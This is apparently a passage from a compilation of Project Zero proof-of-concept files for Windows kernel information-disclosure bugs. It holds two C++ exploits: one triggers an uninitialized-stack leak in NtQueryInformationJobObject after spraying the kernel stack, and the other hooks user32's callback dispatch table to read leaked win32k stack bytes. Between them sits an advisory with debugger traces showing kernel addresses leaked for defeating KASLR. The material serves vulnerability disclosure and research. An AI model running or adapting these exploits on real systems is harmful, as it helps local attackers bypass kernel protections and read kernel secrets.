00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
JobObjectExtendedLimitInformation (120):
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 05 00 00 00 41 41 41 41 ............AAAA
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;
// Create a job object to operate on.
HANDLE hJob = CreateJobObject(NULL, NULL);
// Spray the kernel stack with a marker value, to get visible results.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(JobObjectBasicLimitInformation).
DWORD ReturnLength = 0;
BYTE output[120] = { /* zero padding */ };
NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectBasicLimitInformation, &output, sizeof(JOBOBJECT_BASIC_LIMIT_INFORMATION), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#1 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print out the output.
printf("JobObjectBasicLimitInformation:\n");
PrintHex(output, ReturnLength);
// Spray the kernel again before invoking the affected system call.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(JobObjectExtendedLimitInformation), buffer size 112.
ZeroMemory(output, sizeof(output));
st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectExtendedLimitInformation, output, 112, &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#2 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print the output again.
printf("JobObjectExtendedLimitInformation (112):\n");
PrintHex(output, ReturnLength);
// Spray the kernel again before invoking the affected system call.
SprayKernelStack();
// Trigger the bug in nt!NtQueryInformationJobObject(JobObjectExtendedLimitInformation), buffer size 120.
ZeroMemory(output, sizeof(output));
st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectExtendedLimitInformation, output, 120, &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationJobObject#2 failed, %x\n", st);
CloseHandle(hJob);
return 1;
}
// Print the output again.
printf("JobObjectExtendedLimitInformation (120):\n");
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hJob);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1186
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtGdiOpenDCW system call. The analysis shown below was performed on Windows 7 32-bit.
The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:
--- cut ---
9706b8b4 82ab667d nt!memcpy+0x35
9706b910 92bf8220 nt!KeUserModeCallback+0xc6
9706b954 92c01d1f win32k!pppUserModeCallback+0x23
9706b970 92c096c8 win32k!ClientPrinterThunk+0x41
9706ba24 92b0c722 win32k!UMPDDrvEnablePDEV+0x18c
9706bc20 92b74bc4 win32k!PDEVOBJ::PDEVOBJ+0x1c5
9706bca4 92b6b2a6 win32k!hdcOpenDCW+0x18c
9706bd0c 82876db6 win32k!NtGdiOpenDCW+0x112
9706bd0c 77486c74 nt!KiSystemServicePostCall
0022fa18 772e9978 ntdll!KiFastSystemCallRet
0022fa1c 772e9a0e GDI32!NtGdiOpenDCW+0xc
0022fca8 772e9bab GDI32!hdcCreateDCW+0x1b1
0022fcf4 772e9c5d GDI32!bCreateDCA+0xe4
0022fd10 00405114 GDI32!CreateICA+0x18
--- cut ---
At the time of this callstack, the win32k!ClientPrinterThunk function invokes a user-mode callback #93 (corresponding to user32!__ClientPrinterThunk), and passes in an input structure of 0x6C bytes. We have found that 8 bytes at offset 0x4C and 12 bytes at offset 0x60 of that structure are uninitialized. We have tracked that this structure originates from the stack frame of the win32k!UMPDDrvEnablePDEV function, and is passed down to win32k!UMPDOBJ::Thunk in the 2nd argument.
The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). If we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!UMPDDrvEnablePDEV, manually initialize the overall structure copied to user-mode with a marker 0x41 ('A') byte after the stack frame allocation instructions, and then observe some of these bytes in the output of the PoC program. This indicates they were not initialized anywhere during execution between win32k!UMPDDrvEnablePDEV and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:
--- cut ---
1: kd> ba e 1 win32k!UMPDDrvEnablePDEV
1: kd> g
Breakpoint 0 hit
win32k!UMPDDrvEnablePDEV:
9629957c 6a7c push 7Ch
0: kd> p
win32k!UMPDDrvEnablePDEV+0x2:
9629957e 68d0633796 push offset win32k!__safe_se_handler_table+0x7c98 (963763d0)
0: kd> p
win32k!UMPDDrvEnablePDEV+0x7:
96299583 e828b4f8ff call win32k!_SEH_prolog4 (962249b0)
0: kd> p
win32k!UMPDDrvEnablePDEV+0xc:
96299588 8d4de4 lea ecx,[ebp-1Ch]
0: kd> f ebp-8c ebp-8c+6c-1 41
Filled 0x6c bytes
0: kd> g
--- cut ---
After executing the above commands, the program should print output similar to the following:
--- cut ---
[...]
00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l...............
00000010: 1c 03 11 59 d8 e2 31 00 74 02 c6 01 a8 06 c6 01 ...Y..1.t.......
00000020: 06 00 00 00 00 00 c3 01 30 01 00 00 18 00 c3 01 ........0.......
00000030: 2c 01 00 00 48 01 c3 01 30 21 a0 ff e4 06 c6 01 ,...H...0!......
00000040: 84 9b 31 00 00 00 00 00 00 00 00 00 41 41 41 41 ..1.........AAAA
00000050: 41 41 41 41 74 02 c3 01 74 02 c4 01 74 02 c5 01 AAAAt...t...t...
00000060: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA....
[...]
--- cut ---
It's clearly visible that bytes at offsets 0x4c-0x53 and 0x60-0x6b are equal to the data we set in the prologue of win32k!UMPDDrvEnablePDEV, which illustrates how uninitialized stack data is leaked to user-mode.
If we skip the manual initialization of bytes in the stack frame with a kernel debugger, an example output of the program is as follows:
--- cut ---
00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l...............
00000010: 75 03 11 55 d8 e2 25 00 74 02 96 01 a8 06 96 01 u..U..%.t.......
00000020: 06 00 00 00 00 00 93 01 30 01 00 00 18 00 93 01 ........0.......
00000030: 2c 01 00 00 48 01 93 01 30 21 a0 ff e4 06 96 01 ,...H...0!......
00000040: 84 9b 25 00 00 00 00 00 00 00 00 00[96 6f 89 82]..%..........o..
00000050:[28 65 9d 84]74 02 93 01 74 02 94 01 74 02 95 01 (e..t...t...t...
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---
In the above listing, two kernel-mode addresses are leaked at offsets 0x4c and 0x50: an address of the ntoskrnl.exe image, and an address of a non-paged pool allocation:
--- cut ---
0: kd> !address 849d6528
[...]
Usage:
Base Address: 84800000
End Address: 84a00000
Region Size: 00200000
VA Type: NonPagedPool
VAD Address: 0x8800000067317cf2
Commit Charge: 0x1000165643ec0
Protection: 0x8800000067317cf0 []
Memory Usage: Private
No Change: yes
More info: !vad 0x84800000
0: kd> !address 82896f96
Usage: Module
Base Address: 8281c000
End Address: 82c38000
Region Size: 0041c000
VA Type: BootLoaded
Module name: ntoskrnl.exe
Module path: [\SystemRoot\system32\ntkrnlpa.exe]
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
namespace globals {
LPVOID (WINAPI *OrigClientPrinterThunk)(LPVOID);
} // namespace globals;
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
PVOID *GetUser32DispatchTable() {
__asm{
mov eax, fs:30h
mov eax, [eax + 0x2c]
}
}
BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) {
PVOID *DispatchTable = GetUser32DispatchTable();
DWORD OldProtect;
if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
printf("VirtualProtect#1 failed, %d\n", GetLastError());
return FALSE;
}
*lpOrigHandler = DispatchTable[Index];
DispatchTable[Index] = lpNewHandler;
if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
printf("VirtualProtect#2 failed, %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) {
printf("----------\n");
PrintHex((PBYTE)Data, ((PDWORD)Data)[0]);
return globals::OrigClientPrinterThunk(Data);
}
int main() {
if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) {
return 1;
}
HDC hic = CreateICA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL);
DeleteDC(hic);
return 0;
}